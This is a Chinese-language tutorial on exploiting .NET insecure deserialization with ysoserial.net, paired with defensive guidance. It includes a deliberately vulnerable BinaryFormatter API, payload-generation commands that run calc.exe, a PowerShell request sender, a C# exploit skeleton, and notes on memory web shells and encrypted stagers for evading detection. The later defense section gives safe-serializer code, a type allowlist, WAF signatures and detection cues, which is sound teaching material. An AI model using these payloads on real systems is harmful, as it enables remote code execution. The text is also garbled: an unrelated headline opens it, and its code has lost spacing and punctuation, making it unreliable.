核心内容摘要
那些年,我们一起追的“愁愁愁”:青春的笑与泪,成长的印记
分开篇明义 —— 定义、价值与目标定位与价值在渗透测试的武器库中反序列化漏洞 是一类极具威力的“战略武器”。
它允许攻击者将精心构造的恶意数据流通过应用程序固有的“拆箱”逻辑转化为在目标系统上执行的任意代码。
在Java生态中ysoserial工具早已声名显赫而在.NET世界其“镜像”项目 ysoserial.net 同样扮演着终极漏洞验证与武器化研究的核心角色。
本文聚焦于.NET环境下的不安全反序列化深入剖析 ysoserial.net 的工作原理及其背后 Gadget链 的构造艺术。
掌握此技术意味着你能理解并验证一类从Web应用到桌面应用、从中间件到自动化办公软件的深层次高风险漏洞是横向移动、权限提升乃至系统沦陷的关键跳板。
学习目标读完本文你将能够阐述 .NET不安全反序列化的核心概念、根本原因及其在攻击链中的战略价值。
解释 ysoserial.net 工具的设计哲学、核心模块并独立使用其生成针对不同场景的Payload。
分析并复现 一条经典的Gadget链以 TypeConfuseDelegate 为例理解从入口点到命令执行的完整利用流程。
实施 针对.NET反序列化漏洞的开发侧修复、运维侧加固与检测侧监控方案。
建立 对更复杂、更隐蔽的Gadget链进行自主分析与探索的方法论。
前置知识· .NET基础了解C#基本语法、.NET类库结构。
· 序列化概念理解将对象状态转换为可存储或可传输格式如二进制、JSON、XML的过程及其反向过程反序列化。
· 反射了解.NET中 System.Reflection 命名空间的基本用途即程序在运行时检查、操作自身元数据和行为的能力。
分原理深掘 —— 从“是什么”到“为什么”核心定义与类比· .NET不安全反序列化指.NET应用程序在反序列化用户可控的、不可信的数据时由于反序列化过程本身或其使用的类库存在安全缺陷导致攻击者能够触发一系列非预期的对象构造、方法调用等操作最终实现远程代码执行RCE或其他恶意行为。
· 类比想象一个高度自动化的快递分拣中心反序列化器。
正常的快递序列化数据里是物品和说明书对象数据。
攻击者伪造了一份“快递”里面看似是一个普通玩具无害对象但说明书序列化字节流却要求分拣机器人运行时去打开隔壁的保险库调用危险方法、取出里面的工具执行系统命令。
由于机器人严格按说明书操作且没有检查说明书的合法性灾难就此发生。
· ysoserial.net一个用于生成Payload以利用各种.NET反序列化漏洞的概念验证PoC框架。
它本身不包含漏洞而是发现并串联了.NET框架及流行组件中一系列在反序列化过程中可被“触发”的类和方法即Gadget形成可导致RCE的“利用链”。
· Gadget链一系列存在于目标应用程序类路径即已加载的程序集中的特殊类及其方法。
这些类在反序列化时会被自动实例化或调用像多米诺骨牌一样一个接一个地传递和转化数据最终达成攻击者的目的如调用 System.Diagnostics.Process.Start。
根本原因分析漏洞根源在于 .NET序列化机制的过度泛化与缺乏安全边界尤其是 BinaryFormatter 和 NetDataContractSerializer。
过度强大的反序列化能力以 BinaryFormatter 为例其设计目标是完美还原一个复杂的对象图包括私有字段、属性、事件委托乃至对象引用关系。
为了实现这一点它必须拥有极高的权限能够在反序列化时动态加载程序集、创建任意类型实例、调用其Setter、触发事件处理器等。
缺乏输入验证与类型白名单默认情况下BinaryFormatter 信任其输入流完全按照流中指定的类型信息Type去实例化对象。
它没有一个内置的、强制的机制来限制“哪些类型可以被反序列化”。
攻击者可以指定任何在应用程序域AppDomain中可访问的类型。
“危险”Gadget的普遍存在.NET框架和大量第三方库中存在着许多“功能强大”的类。
这些类在反序列化时如在构造函数、属性设置器、OnDeserialization回调中会执行一些敏感操作如文件操作、命令执行、网络连接、反射调用等。
在正常业务逻辑下这些操作是安全的但在反序列化这个“特殊上下文”中如果其输入可控它们就成了攻击的跳板。
核心矛盾反序列化机制需要的“强大能力”与应对不可信输入所需的“最小权限”原则之间存在根本性冲突。
ysoserial.net 正是寻找并组合那些利用这种冲突的代码路径Gadget链的工具。
可视化核心机制下图展示了一条典型Gadget链在 BinaryFormatter 反序列化过程中的触发流程最终方法(如 Process.Start)目标类型(Type)委托(Delegate)ComparisonComparerTypeConfuseDelegateGadgetGadget链对象图BinaryFormatter攻击者最终方法(如 Process.Start)目标类型(Type)委托(Delegate)ComparisonComparerTypeConfuseDelegateGadgetGadget链对象图BinaryFormatter攻击者链的“起点”对象被实例化提交恶意序列化字节流开始反序列化根据流信息重建整个对象图触发起点对象的某个方法或属性例如设置 Comparer 属性内部触发委托的比较/调用逻辑通过反射机制动态获取目标类型最终定位并调用危险静态方法系统命令执行攻击完成关键点自动触发整个过程由 BinaryFormatter.Deserialize() 驱动自动完成所有对象的创建和初始化。
链式传导每个Gadget的输入输出被巧妙设计以触发下一个Gadget的敏感行为。
终点突破链条终点通常是一个能直接或间接执行代码的“原语”如 System.Diagnostics.Process.Start、System.IO.File.WriteAllText 或通过 System.Reflection 调用任意方法。
分实战演练 —— 从“为什么”到“怎么做”环境与工具准备· 演示环境Windows 10/11 或 Kali Linux (通过Mono) .NET Framework
4.
2 / .NET 8 SDK。
· 核心工具· ysoserial.net本文主角。
从GitHub发布页下载最新二进制文件。
· dotnet CLI用于创建测试项目。
· 一个存在漏洞的靶机我们将创建一个简单的、使用了 BinaryFormatter 的ASP.NET WebAPI项目。
搭建最小化实验环境创建漏洞靶机 (VulnerableAPI):# 新建WebAPI项目dotnet new webapi -n VulnerableAPI -f net
0cdVulnerableAPI# 添加一个不安全的控制器# 将以下代码替换 Controllers/WeatherForecastController.csusingMicrosoft.AspNetCore.Mvc;usingSystem.IO;usingSystem.Runtime.Serialization.Formatters.Binary;namespaceVulnerableAPI.Controllers;[ApiController][Route([controller])]publicclassDangerousController:ControllerBase{[HttpPost(deserialize)]publicIActionResultDeserializeData(){// !!! 危险代码直接反序列化请求体 !!!try{using(varmsnewMemoryStream()){Request.Body.CopyTo(ms);// 读取整个请求体ms.Position0;BinaryFormatterformatternewBinaryFormatter();// 致命操作反序列化不可信的用户输入objectdeserializedformatter.Deserialize(ms);returnOk($反序列化成功对象类型{deserialized.GetType()});}}catch(Exceptionex){returnBadRequest($反序列化失败:{ex.Message});}}}注意在.NET Core/5 中BinaryFormatter 默认已禁用于反序列化需在项目文件(.csproj)中启用兼容性。
仅用于测试PropertyGroupTargetFrameworknet
0/TargetFrameworkEnableUnsafeBinaryFormatterSerializationtrue/EnableUnsafeBinaryFormatterSerialization/PropertyGroup运行靶机dotnet run获取并理解 ysoserial.net下载 ysoserial.net 二进制包解压后可见主要文件· ysoserial.exe主程序。
· ysoserial.dotnetcore.dll.NET Core 兼容库主程序适配器。
· Plugins/包含各种Gadget链实现的DLL。
查看帮助了解基本用法# Windows PowerShell.\ysoserial.exe-h输出会列出所有可用的 formatter (序列化器类型如 BinaryFormatter, LosFormatter) 和 gadget (利用链名称如 TypeConfuseDelegate, TextFormattingRunProperties)。
标准操作流程发现/识别· 白盒/灰盒代码审计中搜索 BinaryFormatter, NetDataContractSerializer, SoapFormatter, JavaScriptSerializer (在某些配置下不安全) LosFormatter 等类型的 Deserialize 方法调用且输入源为用户可控如 Request.Body, Request.Form。
· 黑盒对接受POST请求的端点尝试修改 Content-Type 为 application/json - application/x-www-form-urlencoded - application/x-binary观察响应差异。
使用Burp Suite等工具尝试发送畸形的、包含特定.NET类型标记的二进制数据观察是否返回与序列化/反序列化相关的错误信息如 SerializationException, 包含“Type”、“Assembly”等关键词的堆栈跟踪。
假设我们已经通过代码审计或错误信息发现了 http://localhost:5000/Dangerous/deserialize 这个不安全的端点。
利用/分析我们将使用 ysoserial.net 生成一个利用 TypeConfuseDelegate Gadget链的Payload目标是在服务器上执行 calc.exe启动计算器。
步骤 1生成Payload# 命令格式ysoserial.exe -f Formatter -g Gadget -c Command# -f BinaryFormatter指定生成针对BinaryFormatter的Payload。
# -g TypeConfuseDelegate指定使用此Gadget链。
# -c calc.exe最终要执行的系统命令。
.\ysoserial.exe-f BinaryFormatter-g TypeConfuseDelegate-ccalc.exe-o raw· -o raw表示以原始字节形式输出到标准输出。
默认是Base64编码。
这条命令会输出一串二进制乱码控制台可能会显示乱码。
我们需要将其作为HTTP请求体发送。
步骤 2构造并发送攻击请求我们可以使用PowerShell或Python脚本发送二进制数据。
PowerShell 示例#
生成Payload并保存为文件.\ysoserial.exe-f BinaryFormatter-g TypeConfuseDelegate-ccalc.exe-o base64 payload.b64# 解码Base64为二进制文件certutil-decode payload.b64 payload.bin#
发送攻击请求$targethttp://localhost:5000/Dangerous/deserialize$payloadGet-Content-Pathpayload.bin-Encoding Byte-ReadCount 0Invoke-WebRequest-Uri$target-Method Post-Body$payload-ContentTypeapplication/octet-stream发送成功后观察服务器应该会弹出计算器程序。
验证/深入· 验证服务器执行了命令弹出计算器且API可能返回“反序列化成功”或一个异常但命令已执行。
这是典型的“盲”执行攻击者可能看不到命令输出。
· 深入· 命令变形尝试执行更复杂的命令如 ping -n 1 your-collaborator-domain.com 来验证带外OOB通信或 whoami C:\temp\out.txt 将结果写入文件。
· 更换Gadget如果目标环境没有 TypeConfuseDelegate 链所需的类型如特定版本的 System.Core.dll尝试其他链如 TextFormattingRunProperties (常用于WPF相关应用)、PSObject 等。
powershell .\ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -c calc.exe -o raw· 更换Formatter如果目标使用的是 LosFormatter (ViewState序列化) 或 NetDataContractSerializer需要相应调整 -f 参数。
自动化与脚本以下是一个简单的C#脚本模拟了攻击者端生成和发送Payload的过程并包含关键注释。
// SimpleExecChainGenerator.cs// 警告此代码仅用于授权环境下的安全研究与教学。
严禁用于非法攻击。
usingSystem;usingSystem.IO;usingSystem.Net.Http;usingSystem.Runtime.Serialization.Formatters.Binary;usingSystem.Threading.Tasks;namespaceExploitDemo{classProgram{staticasyncTaskMain(string[]args){if(args.Length
{Console.WriteLine(Usage: SimpleExploit targetUrl command);Console.WriteLine(Example: SimpleExploit http://victim/api/deserialize \calc.exe\);return;}stringtargetUrlargs[0];stringcommandargs[1];try{//
使用 ysoserial.net 此处为演示实际应调用进程或移植逻辑// 实际场景中更可靠的方法是直接调用 ysoserial.exe 进程。
Console.WriteLine($[*] 准备为命令 {command} 生成Payload...);byte[]payloadBytesGeneratePayloadWithExternalTool(command);if(payloadBytesnull||payloadBytes.Length
{Console.WriteLine([!] Payload生成失败。
请确保 ysoserial.exe 在路径中。
);return;}Console.WriteLine($[*] Payload生成成功长度:{payloadBytes.Length}字节);//
发送恶意请求Console.WriteLine($[*] 向目标{targetUrl}发送Payload...);using(varhttpClientnewHttpClient())using(varcontentnewByteArrayContent(payloadBytes)){// 关键设置正确的Content-Typecontent.Headers.ContentTypenewSystem.Net.Http.Headers.MediaTypeHeaderValue(application/octet-stream);varresponseawaithttpClient.PostAsync(targetUrl,content);Console.WriteLine($[*] HTTP 状态码:{response.StatusCode});stringresponseBodyawaitresponse.Content.ReadAsStringAsync();Console.WriteLine($[*] 服务器响应:{responseBody});}Console.WriteLine([] 利用请求发送完毕。
请检查目标服务器是否执行了命令。
);}catch(Exceptionex){Console.WriteLine($[!] 发生错误:{ex.Message});}}staticbyte[]GeneratePayloadWithExternalTool(stringcommand){// 这里简化处理。
真实实现应启动 ysoserial.exe 进程并捕获其标准输出。
// 例如// ProcessStartInfo psi new ProcessStartInfo(ysoserial.exe);// psi.Arguments $-f BinaryFormatter -g TypeConfuseDelegate -c \{command}\ -o raw;// psi.RedirectStandardOutput true;// psi.UseShellExecute false;// ...// return Encoding.UTF
GetBytes(output); // 注意-o raw 输出的是二进制非文本Console.WriteLine([!] Payload生成函数需集成 ysoserial.net 逻辑。
此处返回模拟数据。
);// 仅为演示占位BinaryFormatterfmtnewBinaryFormatter();using(MemoryStreammsnewMemoryStream()){// 切勿直接序列化任意对象这只是一个占位符fmt.Serialize(ms,$模拟Payload for:{command});returnms.ToArray();}}}}对抗性思考绕过与进化随着防御措施升级攻击技术也在进化绕过类型限制SerializationBinder如果应用程序使用了自定义 SerializationBinder 来限制类型需要分析其白名单逻辑。
ysoserial.net 的某些链可能使用了白名单内的“无害”类型作为起点通过复杂的传递最终调用危险方法“桥接”攻击。
内存马与无文件落地更高级的利用不满足于执行单次命令。
Payload可以设计为在反序列化时通过反射向当前进程的内存中注入一个ASP.NET的HTTP模块IIS或中间件.NET Core实现持久化的Web Shell。
利用链的挖掘随着.NET版本更新和补丁发布旧的Gadget链可能失效。
攻击者会转向分析新的第三方组件如 Newtonsoft.Json, FastJSON, YamlDotNet 等的不安全配置或框架新特性挖掘新的利用原语。
例如利用 System.Runtime.CompilerServices 命名空间下的某些类型。
混淆与编码对生成的二进制Payload进行简单的XOR或AES加密并在Payload内部包含一个小的Stager用于解密和执行以绕过基于静态特征的IDS/IPS检测。
分防御建设 —— 从“怎么做”到“怎么防”开发侧修复根本原则永远不要使用不安全的序列化器反序列化不可信数据。
危险模式 vs 安全模式危险模式绝对避免publicobjectDeserializeData(byte[]data){BinaryFormatterformatternewBinaryFormatter();using(MemoryStreammsnewMemoryStream(data)){returnformatter.Deserialize(ms);// 致命漏洞}}安全模式 1使用安全的替代序列化器// 使用 System.Text.Json (首选.NET Core
3.
publicMyClassDeserializeSafe(byte[]data){returnSystem.Text.Json.JsonSerializer.DeserializeMyClass(data);// 或用于字符串输入// return System.Text.Json.JsonSerializer.DeserializeMyClass(jsonString);}// 使用 Newtonsoft.Json 需确保类型是固定的publicMyClassDeserializeSafeNewtonsoft(stringjson){// 设置 TypeNameHandling.None 是关键切勿使用 TypeNameHandling.All/Auto。
varsettingsnewNewtonsoft.Json.JsonSerializerSettings{TypeNameHandlingNewtonsoft.Json.TypeNameHandling.None// 明确禁用类型信息};returnNewtonsoft.Json.JsonSerializer.Create(settings).DeserializeMyClass(json);}安全模式 2如果必须使用 BinaryFormatter例如遗留系统间通信实施严格的白名单publicclassMySafeBinder:System.Runtime.Serialization.SerializationBinder{// 定义允许反序列化的类型白名单privatestaticreadonlyHashSetstringAllowedTypesnewHashSetstring{System.String, mscorlib,MySafeNamespace.MyDataDTO, MySafeAssembly,// 只添加业务绝对需要的类型};publicoverrideTypeBindToType(stringassemblyName,stringtypeName){stringfullName${typeName},{assemblyName};if(AllowedTypes.Contains(fullName)){// 返回 null 让框架按默认方式解析类型returnnull;}else{// 抛出异常阻止未知类型反序列化thrownewSystem.Runtime.Serialization.SerializationException($类型 {fullName} 不被允许反序列化。
);}}}// 使用时publicobjectDeserializeWithBinder(byte[]data){BinaryFormatterformatternewBinaryFormatter();formatter.BindernewMySafeBinder();// 绑定安全绑定器using(MemoryStreammsnewMemoryStream(data)){returnformatter.Deserialize(ms);}}运维侧加固框架与库升级· .NET Framework应用所有安全更新。
微软已多次通过安全更新修改 BinaryFormatter 等类的行为。
· .NET Core / 5这是最佳选择。
BinaryFormatter 在默认情况下已被禁用用于反序列化仅允许序列化。
保持框架为最新版本。
配置禁用· 在 web.config 或应用程序配置中可以尝试通过配置开关限制某些格式化程序但最有效的方式是在代码层面消除使用。
WAF/IPS规则· 部署规则以检测HTTP请求体中包含明显的.NET序列化标记例如 “\x00\x01\x00\x00\x00\xFF…” (二进制头部)或包含 “System.”, “mscorlib”, “TypeConfuseDelegate” 等特征的Base64编码数据。
· 示例伪规则检测 request_body 包含 base64解码后 匹配 “\x00\x01\x00\x00\x00” 和 “System.Management.Automation.” 的字节序列。
架构隔离· 将执行反序列化操作的组件部署在独立的、低权限的应用程序域AppDomain或容器中严格限制其网络出口和文件系统访问权限。
检测与响应线索在应用程序和系统日志中关注以下异常模式· 异常日志大量 SerializationException, FileNotFoundException (尝试加载不存在的恶意程序集), SecurityException。
· 进程创建日志来自Web服务器进程如 w3wp.exe, dotnet.exe的异常子进程创建记录执行了 cmd.exe, powershell.exe, rundll
exe 等。
· HTTP请求特征· Content-Type: application/octet-stream 或非常规的MIME类型且请求体为二进制数据。
· 请求体大小异常或包含大量非打印字符。
· URL或User-Agent中包含测试性字符串。
· 性能指标反序列化操作消耗异常高的CPU或内存可能对应于复杂的Gadget链展开。
分
总结与脉络 —— 连接与展望核心要点复盘根源是信任.NET不安全反序列化的核心是反序列化机制如 BinaryFormatter盲目信任并执行了输入数据流中的类型指令缺乏必要的安全边界。
武器是链ysoserial.net 本身不是漏洞而是自动化发现和组装 Gadget链 的工具。
一条链是从一个可被反序列化触发的“起点”到最终执行代码的“终点”的一系列方法调用。
利用需条件成功利用需要两个条件(a) 存在不安全的反序列化入口点(b) 目标应用程序的上下文中存在可用的Gadget链所依赖的程序集和类型。
防御在源头最有效的防御是弃用不安全的序列化器改用 System.Text.Json 等安全方案。
如果无法避免必须实施严格的类型白名单通过 SerializationBinder。
攻防在进化随着基础防御的普及攻击转向对第三方库、新框架特性的挖掘以及内存马等持久化技术。
知识体系连接· 前序基础本文建立在 [.NET反射机制与动态代码执行]、[常见Web漏洞原理如XXE、SSTI] 以及 [序列化协议JSON, XML, Binary基础] 之上。
理解反射是理解Gadget链如何通过方法调用达成目的的关键。
· 后继进阶本文直接引向以下更深入的研究方向Java反序列化对比研究学习 ysoserial (Java版)理解不同语言/运行时环境下反序列化漏洞的共性与特性。
Gadget链自动化挖掘技术研究如何使用静态分析如CodeQL或动态污点追踪技术在大型代码库中自动化寻找新的Gadget。
.NET Remoting与WCF反序列化这些传统的.NET通信技术也使用特定的序列化机制存在其独有的攻击面和利用链。
内存马攻防实战深入研究如何在.NET环境中通过反序列化漏洞植入无文件、持久化的后门。
进阶方向指引研究 .NET Core/5 与 .NET Framework 的差异尽管 BinaryFormatter 在.NET Core中被限制但其他格式化程序如自定义的 DataContractSerializer 配置或流行的序列化库Newtonsoft.Json 配置不当是否引入了新的攻击面研究跨平台.NET环境下的反序列化安全问题。
深入第三方组件供应链攻击现代应用大量使用NuGet包。
研究如何审计一个流行的第三方序列化库如 MessagePack, protobuf-net是否存在不安全的默认配置或可被利用的Gadget。
这将是未来漏洞挖掘的富矿。
自检清单· 是否明确定义了本主题的价值与学习目标 —— 开篇即阐明其在渗透测试中的战略地位并列出5个具体目标。
· 原理部分是否包含一张自解释的Mermaid核心机制图 —— 提供了 TypeConfuseDelegate 链的时序图清晰展示了反序列化触发流程。
· 实战部分是否包含一个可运行的、注释详尽的代码片段 —— 提供了完整的靶机代码、PowerShell/Python攻击命令以及一个结构化的C#攻击脚本框架包含警告和注释。
· 防御部分是否提供了至少一个具体的安全代码示例或配置方案 —— 提供了使用 System.Text.Json、安全配置 Newtonsoft.Json 以及实现自定义 SerializationBinder 的详细代码示例。
· 是否建立了与知识大纲中其他文章的联系 —— 在“知识体系连接”部分明确了前序与后继知识节点。
· 全文是否避免了未定义的术语和模糊表述 —— 关键术语如“Gadget链”、“Formatter”等首次出现时均加粗并给予明确定义或类比解释。
所有技术步骤描述力求准确、无歧义。